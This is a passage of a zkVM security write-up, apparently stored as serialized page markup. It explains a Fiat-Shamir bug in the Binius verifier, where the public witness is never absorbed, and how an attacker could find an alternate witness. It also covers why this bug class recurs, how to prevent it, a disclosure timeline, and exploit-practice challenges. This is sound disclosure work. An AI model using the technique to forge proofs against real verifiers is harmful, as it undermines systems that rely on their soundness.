handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":24,"tag":25,"props":128663,"children":128664},{},[128665],{"type":24,"tag":188,"props":128666,"children":128667},{},[128668],{"type":29,"value":128086},{"type":24,"tag":25,"props":128670,"children":128671},{},[128672],{"type":29,"value":128673},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":24,"tag":317,"props":128675,"children":128677},{"code":128676,"language":1552,"meta":7,"className":1553,"style":7},"pub fn verify\u003CF, C>(\n    constraint_system: &ConstraintSystem,\n    public: &[Word],    // \u003C- NEVER ABSORBED\n    // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[128678],{"type":24,"tag":284,"props":128679,"children":128680},{"__ignoreMap":7},[128681,128716,128741,128775,128783],{"type":24,"tag":327,"props":128682,"children":128683},{"class":329,"line":330},[128684,128688,128692,128696,128700,128704,128708,128712],{"type":24,"tag":327,"props":128685,"children":128686},{"style":334},[128687],{"type":29,"value":2524},{"type":24,"tag":327,"props":128689,"children":128690},{"style":334},[128691],{"type":29,"value":4653},{"type":24,"tag":327,"props":128693,"children":128694},{"style":340},[128695],{"type":29,"value":15727},{"type":24,"tag":327,"props":128697,"children":128698},{"style":346},[128699],{"type":29,"value":1596},{"type":24,"tag":327,"props":128701,"children":128702},{"style":1639},[128703],{"type":29,"value":128552},{"type":24,"tag":327,"props":128705,"children":128706},{"style":346},[128707],{"type":29,"value":2744},{"type":24,"tag":327,"props":128709,"children":128710},{"style":1639},[128711],{"type":29,"value":123003},{"type":24,"tag":327,"props":128713,"children":128714},{"style":346},[128715],{"type":29,"value":14155},{"type":24,"tag":327,"props":128717,"children":128718},{"class":329,"line":367},[128719,128724,128728,128732,128737],{"type":24,"tag":327,"props":128720,"children":128721},{"style":356},[128722],{"type":29,"value":128723},"    constraint_system",{"type":24,"tag":327,"props":128725,"children":128726},{"style":381},[128727],{"type":29,"value":1636},{"type":24,"tag":327,"props":128729,"children":128730},{"style":381},[128731],{"type":29,"value":14704},{"type":24,"tag":327,"props":128733,"children":128734},{"style":1639},[128735],{"type":29,"value":128736},"ConstraintSystem",{"type":24,"tag":327,"props":128738,"children":128739},{"style":346},[128740],{"type":29,"value":2231},{"type":24,"tag":327,"props":128742,"children":128743},{"class":329,"line":408},[128744,128748,128752,128756,128760,128765,128770],{"type":24,"tag":327,"props":128745,"children":128746},{"style":356},[128747],{"type":29,"value":15084},{"type":24,"tag":327,"props":128749,"children":128750},{"style":381},[128751],{"type":29,"value":1636},{"type":24,"tag":327,"props":128753,"children":128754},{"style":381},[128755],{"type":29,"value":14704},{"type":24,"tag":327,"props":128757,"children":128758},{"style":346},[128759],{"type":29,"value":11329},{"type":24,"tag":327,"props":128761,"children":128762},{"style":1639},[128763],{"type":29,"value":128764},"Word",{"type":24,"tag":327,"props":128766,"children":128767},{"style":346},[128768],{"type":29,"value":128769},"],    ",{"type":24,"tag":327,"props":128771,"children":128772},{"style":551},[128773],{"type":29,"value":128774},"// \u003C- NEVER ABSORBED\n",{"type":24,"tag":327,"props":128776,"children":128777},{"class":329,"line":421},[128778],{"type":24,"tag":327,"props":128779,"children":128780},{"style":551},[128781],{"type":29,"value":128782},"    // ...\n",{"type":24,"tag":327,"props":128784,"children":128785},{"class":329,"line":450},[128786,128790,128794,128798,128802,128807,128811,128815,128819,128823],{"type":24,"tag":327,"props":128787,"children":128788},{"style":346},[128789],{"type":29,"value":1674},{"type":24,"tag":327,"props":128791,"children":128792},{"style":381},[128793],{"type":29,"value":1679},{"type":24,"tag":327,"props":128795,"children":128796},{"style":1639},[128797],{"type":29,"value":1684},{"type":24,"tag":327,"props":128799,"children":128800},{"style":346},[128801],{"type":29,"value":1596},{"type":24,"tag":327,"props":128803,"children":128804},{"style":1639},[128805],{"type":29,"value":128806},"VerifyOutput",{"type":24,"tag":327,"props":128808,"children":128809},{"style":346},[128810],{"type":29,"value":1596},{"type":24,"tag":327,"props":128812,"children":128813},{"style":1639},[128814],{"type":29,"value":128552},{"type":24,"tag":327,"props":128816,"children":128817},{"style":346},[128818],{"type":29,"value":1655},{"type":24,"tag":327,"props":128820,"children":128821},{"style":1639},[128822],{"type":29,"value":44111},{"type":24,"tag":327,"props":128824,"children":128825},{"style":346},[128826],{"type":29,"value":9571},{"type":24,"tag":25,"props":128828,"children":128829},{},[128830,128832,128838,128839,128845,128847,128851],{"type":29,"value":128831},"In the shift protocol, challenges ",{"type":24,"tag":284,"props":128833,"children":128835},{"className":128834},[],[128836],{"type":29,"value":128837},"r_j",{"type":29,"value":1323},{"type":24,"tag":284,"props":128840,"children":128842},{"className":128841},[],[128843],{"type":29,"value":128844},"inout_eval_point",{"type":29,"value":128846}," are sampled ",{"type":24,"tag":188,"props":128848,"children":128849},{},[128850],{"type":29,"value":111318},{"type":29,"value":128852}," the public witness is bound.",{"type":24,"tag":25,"props":128854,"children":128855},{},[128856],{"type":24,"tag":188,"props":128857,"children":128858},{},[128859],{"type":29,"value":122206},{"type":24,"tag":25,"props":128861,"children":128862},{},[128863],{"type":24,"tag":11511,"props":128864,"children":128867},{"alt":128865,"src":128866},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":24,"tag":25,"props":128869,"children":128870},{},[128871],{"type":29,"value":128872},"During verification",{"type":24,"tag":175,"props":128874,"children":128875},{},[128876,128896,128908,128927],{"type":24,"tag":179,"props":128877,"children":128878},{},[128879,128881,128886,128888,128894],{"type":29,"value":128880},"Sumcheck produces challenge points ",{"type":24,"tag":284,"props":128882,"children":128884},{"className":128883},[],[128885],{"type":29,"value":128837},{"type":29,"value":128887}," (bit indices) and ",{"type":24,"tag":284,"props":128889,"children":128891},{"className":128890},[],[128892],{"type":29,"value":128893},"r_s",{"type":29,"value":128895}," (shift indices)",{"type":24,"tag":179,"props":128897,"children":128898},{},[128899,128901,128906],{"type":29,"value":128900},"Verifier samples ",{"type":24,"tag":284,"props":128902,"children":128904},{"className":128903},[],[128905],{"type":29,"value":128844},{"type":29,"value":128907}," from transcript",{"type":24,"tag":179,"props":128909,"children":128910},{},[128911,128913,128919,128921,128926],{"type":29,"value":128912},"Verifier computes ",{"type":24,"tag":284,"props":128914,"children":128916},{"className":128915},[],[128917],{"type":29,"value":128918},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":29,"value":128920}," using the unbound ",{"type":24,"tag":284,"props":128922,"children":128924},{"className":128923},[],[128925],{"type":29,"value":68398},{"type":29,"value":25643},{"type":24,"tag":179,"props":128928,"children":128929},{},[128930,128931,128937],{"type":29,"value":1713},{"type":24,"tag":284,"props":128932,"children":128934},{"className":128933},[],[128935],{"type":29,"value":128936},"public_eval",{"type":29,"value":128938}," feeds into subsequent verification equations",{"type":24,"tag":25,"props":128940,"children":128941},{},[128942],{"type":29,"value":128943},"The MLE evaluation is linear in the public witness bits:",{"type":24,"tag":25,"props":128945,"children":128946},{},[128947],{"type":24,"tag":284,"props":128948,"children":128950},{"className":128949},[2949,2950],[128951],{"type":24,"tag":327,"props":128952,"children":128954},{"className":128953},[2955],[128955],{"type":24,"tag":327,"props":128956,"children":128958},{"className":128957,"ariaHidden":2961},[2960],[128959,129003,129143,129255],{"type":24,"tag":327,"props":128960,"children":128962},{"className":128961},[2966],[128963,128967,128976,128981,128990,128994,128999],{"type":24,"tag":327,"props":128964,"children":128966},{"className":128965,"style":101187},[2971],[],{"type":24,"tag":327,"props":128968,"children":128970},{"className":128969},[2977,29],[128971],{"type":24,"tag":327,"props":128972,"children":128974},{"className":128973},[2977],[128975],{"type":29,"value":68398},{"type":24,"tag":327,"props":128977,"children":128979},{"className":128978,"style":99774},[2977],[128980],{"type":29,"value":10692},{"type":24,"tag":327,"props":128982,"children":128984},{"className":128983},[2977,29],[128985],{"type":24,"tag":327,"props":128986,"children":128988},{"className":128987},[2977],[128989],{"type":29,"value":44261},{"type":24,"tag":327,"props":128991,"children":128993},{"className":128992,"style":2993},[2992],[],{"type":24,"tag":327,"props":128995,"children":128997},{"className":128996},[2998],[128998],{"type":29,"value":384},{"type":24,"tag":327,"props":129000,"children":129002},{"className":129001,"style":2993},[2992],[],{"type":24,"tag":327,"props":129004,"children":129006},{"className":129005},[2966],[129007,129011,129083,129087,129100,129105,129110,129115,129120,129125,129130,129134,129139],{"type":24,"tag":327,"props":129008,"children":129010},{"className":129009,"style":125536},[2971],[],{"type":24,"tag":327,"props":129012,"children":129014},{"className":129013},[3018],[129015,129020],{"type":24,"tag":327,"props":129016,"children":129018},{"className":129017,"style":3025},[3018,3023,3024],[129019],{"type":29,"value":115569},{"type":24,"tag":327,"props":129021,"children":129023},{"className":129022},[3032],[129024],{"type":24,"tag":327,"props":129025,"children":129027},{"className":129026},[3037,3038],[129028,129072],{"type":24,"tag":327,"props":129029,"children":129031},{"className":129030},[3043],[129032,129067],{"type":24,"tag":327,"props":129033,"children":129035},{"className":129034,"style":120446},[3048],[129036],{"type":24,"tag":327,"props":129037,"children":129038},{"style":3053},[129039,129043],{"type":24,"tag":327,"props":129040,"children":129042},{"className":129041,"style":3059},[3058],[],{"type":24,"tag":327,"props":129044,"children":129046},{"className":129045},[3064,3065,3066,3067],[129047],{"type":24,"tag":327,"props":129048,"children":129050},{"className":129049},[2977,3067],[129051,129057,129062],{"type":24,"tag":327,"props":129052,"children":129055},{"className":129053,"style":129054},[2977,2978,3067],"margin-right:0.02691em;",[129056],{"type":29,"value":56292},{"type":24,"tag":327,"props":129058,"children":129060},{"className":129059},[11695,3067],[129061],{"type":29,"value":11698},{"type":24,"tag":327,"props":129063,"children":129065},{"className":129064},[2977,2978,3067],[129066],{"type":29,"value":10828},{"type":24,"tag":327,"props":129068,"children":129070},{"className":129069},[3150],[129071],{"type":29,"value":3153},{"type":24,"tag":327,"props":129073,"children":129075},{"className":129074},[3043],[129076],{"type":24,"tag":327,"props":129077,"children":129079},{"className":129078,"style":121012},[3048],[129080],{"type":24,"tag":327,"props":129081,"children":129082},{},[],{"type":24,"tag":327,"props":129084,"children":129086},{"className":129085,"style":3169},[2992],[],{"type":24,"tag":327,"props":129088,"children":129090},{"className":129089},[2977],[129091],{"type":24,"tag":327,"props":129092,"children":129094},{"className":129093},[2977,29],[129095],{"type":24,"tag":327,"props":129096,"children":129098},{"className":129097},[2977],[129099],{"type":29,"value":68398},{"type":24,"tag":327,"props":129101,"children":129103},{"className":129102},[3121],[129104],{"type":29,"value":11329},{"type":24,"tag":327,"props":129106,"children":129108},{"className":129107,"style":129054},[2977,2978],[129109],{"type":29,"value":56292},{"type":24,"tag":327,"props":129111,"children":129113},{"className":129112},[3143],[129114],{"type":29,"value":22934},{"type":24,"tag":327,"props":129116,"children":129118},{"className":129117},[3121],[129119],{"type":29,"value":11329},{"type":24,"tag":327,"props":129121,"children":129123},{"className":129122},[2977,2978],[129124],{"type":29,"value":10828},{"type":24,"tag":327,"props":129126,"children":129128},{"className":129127},[3143],[129129],{"type":29,"value":22934},{"type":24,"tag":327,"props":129131,"children":129133},{"className":129132,"style":3705},[2992],[],{"type":24,"tag":327,"props":129135,"children":129137},{"className":129136},[3710],[129138],{"type":29,"value":118036},{"type":24,"tag":327,"props":129140,"children":129142},{"className":129141,"style":3705},[2992],[],{"type":24,"tag":327,"props":129144,"children":129146},{"className":129145},[2966],[129147,129152,129161,129166,129171,129176,129180,129237,129242,129246,129251],{"type":24,"tag":327,"props":129148,"children":129151},{"className":129149,"style":129150},[2971],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":24,"tag":327,"props":129153,"children":129155},{"className":129154},[2977,29],[129156],{"type":24,"tag":327,"props":129157,"children":129159},{"className":129158},[2977],[129160],{"type":29,"value":119363},{"type":24,"tag":327,"props":129162,"children":129164},{"className":129163},[3121],[129165],{"type":29,"value":349},{"type":24,"tag":327,"props":129167,"children":129169},{"className":129168},[2977,2978],[129170],{"type":29,"value":10828},{"type":24,"tag":327,"props":129172,"children":129174},{"className":129173},[11695],[129175],{"type":29,"value":11698},{"type":24,"tag":327,"props":129177,"children":129179},{"className":129178,"style":3169},[2992],[],{"type":24,"tag":327,"props":129181,"children":129183},{"className":129182},[2977],[129184,129189],{"type":24,"tag":327,"props":129185,"children":129187},{"className":129186,"style":99774},[2977,2978],[129188],{"type":29,"value":100593},{"type":24,"tag":327,"props":129190,"children":129192},{"className":129191},[3032],[129193],{"type":24,"tag":327,"props":129194,"children":129196},{"className":129195},[3037,3038],[129197,129226],{"type":24,"tag":327,"props":129198,"children":129200},{"className":129199},[3043],[129201,129221],{"type":24,"tag":327,"props":129202,"children":129204},{"className":129203,"style":100303},[3048],[129205],{"type":24,"tag":327,"props":129206,"children":129207},{"style":116773},[129208,129212],{"type":24,"tag":327,"props":129209,"children":129211},{"className":129210,"style":3059},[3058],[],{"type":24,"tag":327,"props":129213,"children":129215},{"className":129214},[3064,3065,3066,3067],[129216],{"type":24,"tag":327,"props":129217,"children":129219},{"className":129218,"style":120997},[2977,2978,3067],[129220],{"type":29,"value":16216},{"type":24,"tag":327,"props":129222,"children":129224},{"className":129223},[3150],[129225],{"type":29,"value":3153},{"type":24,"tag":327,"props":129227,"children":129229},{"className":129228},[3043],[129230],{"type":24,"tag":327,"props":129231,"children":129233},{"className":129232,"style":125684},[3048],[129234],{"type":24,"tag":327,"props":129235,"children":129236},{},[],{"type":24,"tag":327,"props":129238,"children":129240},{"className":129239},[3143],[129241],{"type":29,"value":3146},{"type":24,"tag":327,"props":129243,"children":129245},{"className":129244,"style":3705},[2992],[],{"type":24,"tag":327,"props":129247,"children":129249},{"className":129248},[3710],[129250],{"type":29,"value":118036},{"type":24,"tag":327,"props":129252,"children":129254},{"className":129253,"style":3705},[2992],[],{"type":24,"tag":327,"props":129256,"children":129258},{"className":129257},[2966],[129259,129263,129272,129277,129282,129287,129291,129301,129306,129315,129320,129329],{"type":24,"tag":327,"props":129260,"children":129262},{"className":129261,"style":99716},[2971],[],{"type":24,"tag":327,"props":129264,"children":129266},{"className":129265},[2977,29],[129267],{"type":24,"tag":327,"props":129268,"children":129270},{"className":129269},[2977],[129271],{"type":29,"value":119363},{"type":24,"tag":327,"props":129273,"children":129275},{"className":129274},[3121],[129276],{"type":29,"value":349},{"type":24,"tag":327,"props":129278,"children":129280},{"className":129279,"style":129054},[2977,2978],[129281],{"type":29,"value":56292},{"type":24,"tag":327,"props":129283,"children":129285},{"className":129284},[11695],[129286],{"type":29,"value":11698},{"type":24,"tag":327,"props":129288,"children":129290},{"className":129289,"style":3169},[2992],[],{"type":24,"tag":327,"props":129292,"children":129294},{"className":129293},[2977,29],[129295],{"type":24,"tag":327,"props":129296,"children":129298},{"className":129297},[2977],[129299],{"type":29,"value":129300},"inout",{"type":24,"tag":327,"props":129302,"children":129304},{"className":129303,"style":99774},[2977],[129305],{"type":29,"value":10692},{"type":24,"tag":327,"props":129307,"children":129309},{"className":129308},[2977,29],[129310],{"type":24,"tag":327,"props":129311,"children":129313},{"className":129312},[2977],[129314],{"type":29,"value":44261},{"type":24,"tag":327,"props":129316,"children":129318},{"className":129317,"style":99774},[2977],[129319],{"type":29,"value":10692},{"type":24,"tag":327,"props":129321,"children":129323},{"className":129322},[2977,29],[129324],{"type":24,"tag":327,"props":129325,"children":129327},{"className":129326},[2977],[129328],{"type":29,"value":124559},{"type":24,"tag":327,"props":129330,"children":129332},{"className":129331},[3143],[129333],{"type":29,"value":3146},{"type":24,"tag":25,"props":129335,"children":129336},{},[129337,129339,129344,129346,129419],{"type":29,"value":129338},"With challenges fixed (independent of ",{"type":24,"tag":284,"props":129340,"children":129342},{"className":129341},[],[129343],{"type":29,"value":68398},{"type":29,"value":129345},"), an attacker can find an alternate witness ",{"type":24,"tag":284,"props":129347,"children":129349},{"className":129348},[2949,2950],[129350],{"type":24,"tag":327,"props":129351,"children":129353},{"className":129352},[2955],[129354],{"type":24,"tag":327,"props":129355,"children":129357},{"className":129356,"ariaHidden":2961},[2960],[129358],{"type":24,"tag":327,"props":129359,"children":129361},{"className":129360},[2966],[129362,129367],{"type":24,"tag":327,"props":129363,"children":129366},{"className":129364,"style":129365},[2971],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":24,"tag":327,"props":129368,"children":129370},{"className":129369},[2977],[129371,129380],{"type":24,"tag":327,"props":129372,"children":129374},{"className":129373},[2977,29],[129375],{"type":24,"tag":327,"props":129376,"children":129378},{"className":129377},[2977],[129379],{"type":29,"value":68398},{"type":24,"tag":327,"props":129381,"children":129383},{"className":129382},[3032],[129384],{"type":24,"tag":327,"props":129385,"children":129387},{"className":129386},[3037],[129388],{"type":24,"tag":327,"props":129389,"children":129391},{"className":129390},[3043],[129392],{"type":24,"tag":327,"props":129393,"children":129396},{"className":129394,"style":129395},[3048],"height:0.8362em;",[129397],{"type":24,"tag":327,"props":129398,"children":129400},{"style":129399},"top:-3.1473em;margin-right:0.05em;",[129401,129405],{"type":24,"tag":327,"props":129402,"children":129404},{"className":129403,"style":3059},[3058],[],{"type":24,"tag":327,"props":129406,"children":129408},{"className":129407},[3064,3065,3066,3067],[129409],{"type":24,"tag":327,"props":129410,"children":129412},{"className":129411},[2977,3067],[129413],{"type":24,"tag":327,"props":129414,"children":129416},{"className":129415},[2977,3067],[129417],{"type":29,"value":129418},"′",{"type":29,"value":129420}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":24,"tag":25,"props":129422,"children":129423},{},[129424,129428,129430],{"type":24,"tag":188,"props":129425,"children":129426},{},[129427],{"type":29,"value":123484},{"type":29,"value":129429}," Fixed on December 29, 2025 via ",{"type":24,"tag":57,"props":129431,"children":129434},{"href":129432,"rel":129433},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[61],[129435],{"type":29,"value":129436},"commit 86a515f",{"type":24,"tag":68,"props":129438,"children":129439},{},[],{"type":24,"tag":228,"props":129441,"children":129443},{"id":129442},"why-does-this-keep-happening",[129444],{"type":29,"value":129445},"Why Does This Keep Happening?",{"type":24,"tag":25,"props":129447,"children":129448},{},[129449],{"type":29,"value":129450},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":24,"tag":235,"props":129452,"children":129454},{"id":129453},"academic-papers-dont-specify-fiat-shamir",[129455],{"type":29,"value":129456},"Academic Papers Don't Specify Fiat-Shamir",{"type":24,"tag":25,"props":129458,"children":129459},{},[129460,129462,129467,129469,129494,129496,129499,129501,129526,129528,129555],{"type":29,"value":129461},"Academic papers usually describe ",{"type":24,"tag":42,"props":129463,"children":129464},{},[129465],{"type":29,"value":129466},"interactive",{"type":29,"value":129468}," protocols: \"Prover sends ",{"type":24,"tag":284,"props":129470,"children":129472},{"className":129471},[2949,2950],[129473],{"type":24,"tag":327,"props":129474,"children":129476},{"className":129475},[2955],[129477],{"type":24,"tag":327,"props":129478,"children":129480},{"className":129479,"ariaHidden":2961},[2960],[129481],{"type":24,"tag":327,"props":129482,"children":129484},{"className":129483},[2966],[129485,129489],{"type":24,"tag":327,"props":129486,"children":129488},{"className":129487,"style":2972},[2971],[],{"type":24,"tag":327,"props":129490,"children":129492},{"className":129491,"style":3528},[2977,2978],[129493],{"type":29,"value":123003},{"type":29,"value":129495},". Verifier sends",{"type":24,"tag":37678,"props":129497,"children":129498},{},[],{"type":29,"value":129500},"random ",{"type":24,"tag":284,"props":129502,"children":129504},{"className":129503},[2949,2950],[129505],{"type":24,"tag":327,"props":129506,"children":129508},{"className":129507},[2955],[129509],{"type":24,"tag":327,"props":129510,"children":129512},{"className":129511,"ariaHidden":2961},[2960],[129513],{"type":24,"tag":327,"props":129514,"children":129516},{"className":129515},[2966],[129517,129521],{"type":24,"tag":327,"props":129518,"children":129520},{"className":129519,"style":117615},[2971],[],{"type":24,"tag":327,"props":129522,"children":129524},{"className":129523,"style":99774},[2977,2978],[129525],{"type":29,"value":100593},{"type":29,"value":129527},". Prover sends ",{"type":24,"tag":284,"props":129529,"children":129531},{"className":129530},[2949,2950],[129532],{"type":24,"tag":327,"props":129533,"children":129535},{"className":129534},[2955],[129536],{"type":24,"tag":327,"props":129537,"children":129539},{"className":129538,"ariaHidden":2961},[2960],[129540],{"type":24,"tag":327,"props":129541,"children":129543},{"className":129542},[2966],[129544,129548],{"type":24,"tag":327,"props":129545,"children":129547},{"className":129546,"style":2972},[2971],[],{"type":24,"tag":327,"props":129549,"children":129552},{"className":129550,"style":129551},[2977,2978],"margin-right:0.00773em;",[129553],{"type":29,"value":129554},"R",{"type":29,"value":129556},".\"",{"type":24,"tag":25,"props":129558,"children":129559},{},[129560,129562,129587,129589,129614],{"type":29,"value":129561},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":24,"tag":284,"props":129563,"children":129565},{"className":129564},[2949,2950],[129566],{"type":24,"tag":327,"props":129567,"children":129569},{"className":129568},[2955],[129570],{"type":24,"tag":327,"props":129571,"children":129573},{"className":129572,"ariaHidden":2961},[2960],[129574],{"type":24,"tag":327,"props":129575,"children":129577},{"className":129576},[2966],[129578,129582],{"type":24,"tag":327,"props":129579,"children":129581},{"className":129580,"style":2972},[2971],[],{"type":24,"tag":327,"props":129583,"children":129585},{"className":129584,"style":3528},[2977,2978],[129586],{"type":29,"value":123003},{"type":29,"value":129588}," before sampling ",{"type":24,"tag":284,"props":129590,"children":129592},{"className":129591},[2949,2950],[129593],{"type":24,"tag":327,"props":129594,"children":129596},{"className":129595},[2955],[129597],{"type":24,"tag":327,"props":129598,"children":129600},{"className":129599,"ariaHidden":2961},[2960],[129601],{"type":24,"tag":327,"props":129602,"children":129604},{"className":129603},[2966],[129605,129609],{"type":24,"tag":327,"props":129606,"children":129608},{"className":129607,"style":117615},[2971],[],{"type":24,"tag":327,"props":129610,"children":129612},{"className":129611,"style":99774},[2977,2978],[129613],{"type":29,"value":100593},{"type":29,"value":129615},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":24,"tag":25,"props":129617,"children":129618},{},[129619],{"type":29,"value":129620},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":24,"tag":235,"props":129622,"children":129624},{"id":129623},"the-hot-potato-problem",[129625],{"type":29,"value":129626},"The Hot Potato Problem",{"type":24,"tag":25,"props":129628,"children":129629},{},[129630],{"type":29,"value":129631},"Modern zkVMs are modular:",{"type":24,"tag":25,"props":129633,"children":129634},{},[129635],{"type":24,"tag":11511,"props":129636,"children":129639},{"alt":129637,"src":129638},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":24,"tag":25,"props":129641,"children":129642},{},[129643],{"type":29,"value":129644},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":24,"tag":235,"props":129646,"children":129648},{"id":129647},"optimization-pressure",[129649],{"type":29,"value":129650},"Optimization Pressure",{"type":24,"tag":25,"props":129652,"children":129653},{},[129654],{"type":29,"value":129655},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":24,"tag":25,"props":129657,"children":129658},{},[129659],{"type":29,"value":129660},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":24,"tag":235,"props":129662,"children":129664},{"id":129663},"testing-doesnt-catch-adversarial-inputs",[129665],{"type":29,"value":129666},"Testing Doesn't Catch Adversarial Inputs",{"type":24,"tag":25,"props":129668,"children":129669},{},[129670],{"type":29,"value":129671},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":24,"tag":68,"props":129673,"children":129674},{},[],{"type":24,"tag":228,"props":129676,"children":129678},{"id":129677},"how-to-find-and-fix-these-bugs",[129679],{"type":29,"value":129680},"How to Find and Fix These Bugs",{"type":24,"tag":235,"props":129682,"children":129684},{"id":129683},"prevention",[129685],{"type":29,"value":129686},"Prevention",{"type":24,"tag":25,"props":129688,"children":129689},{},[129690],{"type":29,"value":129691},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":24,"tag":25,"props":129693,"children":129694},{},[129695],{"type":29,"value":129696},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":24,"tag":25,"props":129698,"children":129699},{},[129700],{"type":29,"value":129701},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":24,"tag":25,"props":129703,"children":129704},{},[129705],{"type":29,"value":129706},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":24,"tag":25,"props":129708,"children":129709},{},[129710],{"type":29,"value":129711},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":24,"tag":68,"props":129713,"children":129714},{},[],{"type":24,"tag":228,"props":129716,"children":129718},{"id":129717},"responsible-disclosure-timeline",[129719],{"type":29,"value":129720},"Responsible Disclosure Timeline",{"type":24,"tag":62466,"props":129722,"children":129723},{},[129724,129752],{"type":24,"tag":129725,"props":129726,"children":129727},"thead",{},[129728],{"type":24,"tag":129729,"props":129730,"children":129731},"tr",{},[129732,129737,129742,129747],{"type":24,"tag":129733,"props":129734,"children":129735},"th",{},[129736],{"type":29,"value":4623},{"type":24,"tag":129733,"props":129738,"children":129739},{},[129740],{"type":29,"value":129741},"Reported",{"type":24,"tag":129733,"props":129743,"children":129744},{},[129745],{"type":29,"value":129746},"Fixed",{"type":24,"tag":129733,"props":129748,"children":129749},{},[129750],{"type":29,"value":129751},"Response Time",{"type":24,"tag":129753,"props":129754,"children":129755},"tbody",{},[129756,129779,129800,129820,129842,129863],{"type":24,"tag":129729,"props":129757,"children":129758},{},[129759,129764,129769,129774],{"type":24,"tag":129760,"props":129761,"children":129762},"td",{},[129763],{"type":29,"value":114587},{"type":24,"tag":129760,"props":129765,"children":129766},{},[129767],{"type":29,"value":129768},"Sep 2025",{"type":24,"tag":129760,"props":129770,"children":129771},{},[129772],{"type":29,"value":129773},"Oct 3, 2025",{"type":24,"tag":129760,"props":129775,"children":129776},{},[129777],{"type":29,"value":129778},"\u003C1 week",{"type":24,"tag":129729,"props":129780,"children":129781},{},[129782,129786,129791,129796],{"type":24,"tag":129760,"props":129783,"children":129784},{},[129785],{"type":29,"value":114593},{"type":24,"tag":129760,"props":129787,"children":129788},{},[129789],{"type":29,"value":129790},"Oct 2025",{"type":24,"tag":129760,"props":129792,"children":129793},{},[129794],{"type":29,"value":129795},"Oct 24, 2025",{"type":24,"tag":129760,"props":129797,"children":129798},{},[129799],{"type":29,"value":129778},{"type":24,"tag":129729,"props":129801,"children":129802},{},[129803,129807,129811,129816],{"type":24,"tag":129760,"props":129804,"children":129805},{},[129806],{"type":29,"value":114599},{"type":24,"tag":129760,"props":129808,"children":129809},{},[129810],{"type":29,"value":129790},{"type":24,"tag":129760,"props":129812,"children":129813},{},[129814],{"type":29,"value":129815},"Oct 31, 2025",{"type":24,"tag":129760,"props":129817,"children":129818},{},[129819],{"type":29,"value":129778},{"type":24,"tag":129729,"props":129821,"children":129822},{},[129823,129827,129832,129837],{"type":24,"tag":129760,"props":129824,"children":129825},{},[129826],{"type":29,"value":114605},{"type":24,"tag":129760,"props":129828,"children":129829},{},[129830],{"type":29,"value":129831},"Nov 2025",{"type":24,"tag":129760,"props":129833,"children":129834},{},[129835],{"type":29,"value":129836},"Mar 5, 2026",{"type":24,"tag":129760,"props":129838,"children":129839},{},[129840],{"type":29,"value":129841},"~4 months",{"type":24,"tag":129729,"props":129843,"children":129844},{},[129845,129849,129854,129859],{"type":24,"tag":129760,"props":129846,"children":129847},{},[129848],{"type":29,"value":114617},{"type":24,"tag":129760,"props":129850,"children":129851},{},[129852],{"type":29,"value":129853},"Dec 2025",{"type":24,"tag":129760,"props":129855,"children":129856},{},[129857],{"type":29,"value":129858},"Dec 29, 2025",{"type":24,"tag":129760,"props":129860,"children":129861},{},[129862],{"type":29,"value":129778},{"type":24,"tag":129729,"props":129864,"children":129865},{},[129866,129870,129874,129879],{"type":24,"tag":129760,"props":129867,"children":129868},{},[129869],{"type":29,"value":114611},{"type":24,"tag":129760,"props":129871,"children":129872},{},[129873],{"type":29,"value":129831},{"type":24,"tag":129760,"props":129875,"children":129876},{},[129877],{"type":29,"value":129878},"Jan 21, 2026?",{"type":24,"tag":129760,"props":129880,"children":129881},{},[129882],{"type":29,"value":129883},"3 months",{"type":24,"tag":25,"props":129885,"children":129886},{},[129887],{"type":29,"value":129888},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":24,"tag":68,"props":129890,"children":129891},{},[],{"type":24,"tag":228,"props":129893,"children":129895},{"id":129894},"challenges",[129896],{"type":29,"value":114630},{"type":24,"tag":25,"props":129898,"children":129899},{},[129900,129902],{"type":29,"value":129901},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":24,"tag":129903,"props":129904,"children":129905},"del",{},[129906],{"type":29,"value":129907},"the first 10 solvers will get a T-shirt.",{"type":24,"tag":25,"props":129909,"children":129910},{},[129911,129913,129966,129967,130223],{"type":29,"value":129912},"Your goal is to find a counter example 